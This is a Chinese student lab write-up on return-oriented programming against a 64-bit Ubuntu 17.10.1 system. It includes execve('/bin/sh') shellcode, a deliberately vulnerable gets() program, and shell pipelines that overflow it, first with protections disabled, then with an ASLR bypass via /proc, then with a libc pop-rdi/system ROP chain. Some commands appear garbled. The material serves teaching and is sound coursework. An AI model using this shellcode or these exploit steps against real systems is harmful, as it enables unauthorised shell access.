20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击
基础知识
ROP攻击
-
ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。
-
ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。
-
ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以
ret
指令结尾,即用ret指令实现指令片段执行流的衔接。操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip
是程序计数器寄存器。而ROP攻击则是利用以ret
结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret
指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。从广义角度讲 ,return-to-libc攻击是ROP攻的特例。最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。 -
通过
execve
系统调用来启动一个shell。为了向后兼容,64位Linux支持32位Linux系统调用,因此我们可能会认为我们可以重复使用针对32位系统的shellcode
。 但是,execve
系统调用需要一个内存地址来保存应该执行的程序的NUL终止名称。 我们的shellcode
可能被注入某个地方,这要求我们引用大于32位的内存地址。 因此我们必须使用64位系统调用。
实验环境
- 虚拟机系统:Ubuntu 17.10.1(64位)
前期准备
- 根据X86_64 ABI的调用约定,函数间传递参数不再以压栈的方式,而是以寄存器方式传递参数,前面6个参数依次以rdi, rsi, rdx, rcx, r8和r9寄存来传递。在Linux系统,64位架构只使用48位的虚拟地址空间,也即每个地址高16位全部为0,因此在64位系统上,地址已天然零化,ret2libc攻击似乎没有了用武之地,在ret2libc的基础上我们采用ROP攻击方法。
- 我们现在先假设栈没有可执行属性,那么需要自己编写一个shell来执行,考虑通过execve系统调用来实现。我们直接将汇编代码放在shell.c文件中:
int main() {
asm("\
needle0: jmp there\n\
here: pop %rdi\n\
xor %rax, %rax\n\
movb $0x3b, %al\n\
xor %rsi, %rsi\n\
xor %rdx, %rdx\n\
syscall\n\
there: call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
");
}
- 无论我们的代码在内存中的哪个地方结束,
call-pop
指令都将使用/bin/sh
字符串的地址加载rdi寄存器,接下来编译运行shell.c文件,成功获得了一个shell:
实践过程
-
我们先提取要注入的payload,查看机器代码:
objdump -d a.out | sed -n '/needle0/,/needle1/p'
-
在64位系统上,代码段通常位于0x400000,在该二进制文件中,我们的代码位于0x4b8的偏移量处,并在偏移量0x4d5之前完成,共有29个字节:
-
查看我们的shellcode:
-
接着,我们看一个被攻击的简单代码victim.c:
#include <stdio.h>
int main() {
char name[64];
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
- 在Ubuntu系统上,有三种对策来保护堆栈,第一种是SSP,又名ProPolice,编译器重新排列堆栈布局,使缓冲区溢出不太危险,并插入运行时堆栈完整性检查;第二种是可执行空间保护(NX),当尝试在堆栈中执行代码时会导致分段错误;第三种地址空间布局随机化(ASLR),堆栈的位置每次运行都是随机的,所以即使我们可以覆盖返回地址,也不知道该放在哪里。
三种攻击尝试
第一种尝试
- 我们可以想办法绕过这些方法,使用gcc的-fno-stack-protector选项禁用堆栈保护,编译victim,然后使用execstack -s指令禁用可执行文件空间保护,发现提示没有安装:
- 安装完成之后,禁用可执行文件空间保护,然后在运行文件时禁用ASLR:
- 我们再在原
victim.c
代码的基础上加上一句printf("%p\n", name);
,打印缓冲区的位置,然后再编译运行:
#include <stdio.h>
int main()
{
char name[64];
printf("%p\n", name); // Print address of buffer
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
- 后面的过程中应该也会出现该缓冲区的地址,我们让它以小端法显示:
- 这个时候我们攻击我们的victim.c程序,可以看到攻击成功:
( ( cat shellcode ; printf %080d 0 ; echo $a ) | xxd -r -p ; > cat ) | setarch `arch` -R ./victim
第二种尝试
- 接着,我们再通过一个例子来看看打补丁的重要性,在以前,我们可以通过查看/proc/pid/stat来读取任何进程的ESP注册表,但是这种漏洞很早就被修复了,我们假装目前在没有打补丁的系统上,先查看所有进程的esp:
- 我们先运行禁用了ASLR的victim程序:
- 再在另一个终端窗口查看victim程序的esp:
- 因此,当程序正在等待用户输入时,它的堆栈指针0x7fffffece8,我们计算从这个指针到名称缓冲区的距离:
- 现在重新运行启用了ASLR的victim程序:
- 我们查找victim进程的esp指针,然后添加上偏移量,就是上一步中运行victim程序的缓冲区地址:
- 接着用管道命令来进行演示:
- 在另一个终端中输入
```sp=ps --no-header -C victim -o esp
$ a=printf 6x $((0x7fff$sp+88)) | tac -r -s..
$ ( ( cat shellcode ; printf 0d 0 ; echo $a ) | xxd -r -p ; cat ) > pip
可以看到攻击成功,获取到了shell:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325182654855-445431169.png)
### 第三种尝试
1. 先通过运行`execstack -c`指令重新启动可执行空间保护,此外,在ROP攻击中代码片段从可执行内存中挑选出来,例如,它们可能是`libc`的片段,所以我们还要通过`locate`指令找到`libc`的位置,如图所示,我们选择第一个:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183053931-1761408555.png)
2. 我们希望执行`pop %rdi retq`,而指向`/bin/sh`的指针位于堆栈的顶部。这将在推进堆栈指针之前将指针分配给rdi,相应的机器代码是两个字节的序列`0x5f 0xc3`,它应该在libc的某处发生。但是没有Linux工具能够直接在文件中搜索给定的字节序列,所以我们可以用下面的grep指令来实现检索:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183339794-1561323510.png)
3. 在ROP中,以RET结尾的一系列指令称为gadget,如果我们用以下顺序覆盖返回地址:libc的地址+ 0x22a12;“/bin/sh”的地址;libc的system()函数的地址,然后在执行下一个ret指令时,程序将弹出“/bin/sh”的地址到rdi,然后跳转到系统函数,我们就可以达到我们的目的。先输入如下指令运行禁用了ASLR的victim程序:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183456731-689281955.png)
4. 再在另一个终端中输入如下指令:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183613826-1824306279.png)
5. 我们可以看到,libc被加载到从`0x7ffff7a1a000`开始的内存中,因此gadget地址是`0x7ffff7a1a000 + 0x22a12`,`/bin/sh`的地址我们之前已经找到了,是`0x7fffffffed40`,最后我们通过下面的指令来找libc的system()函数的地址:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183642170-846461297.png)
6. 我们可以得到libc的system()函数的地址是`0x7ffff7a1a000 + 0x45730`,最后将它们放到一起,成功得到了shell:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183730159-186110770.png)
**参考文献**:[64-bit Linux Return-Oriented Programming](http://blog.sina.com.cn/s/blog_858820890101dr3q.html)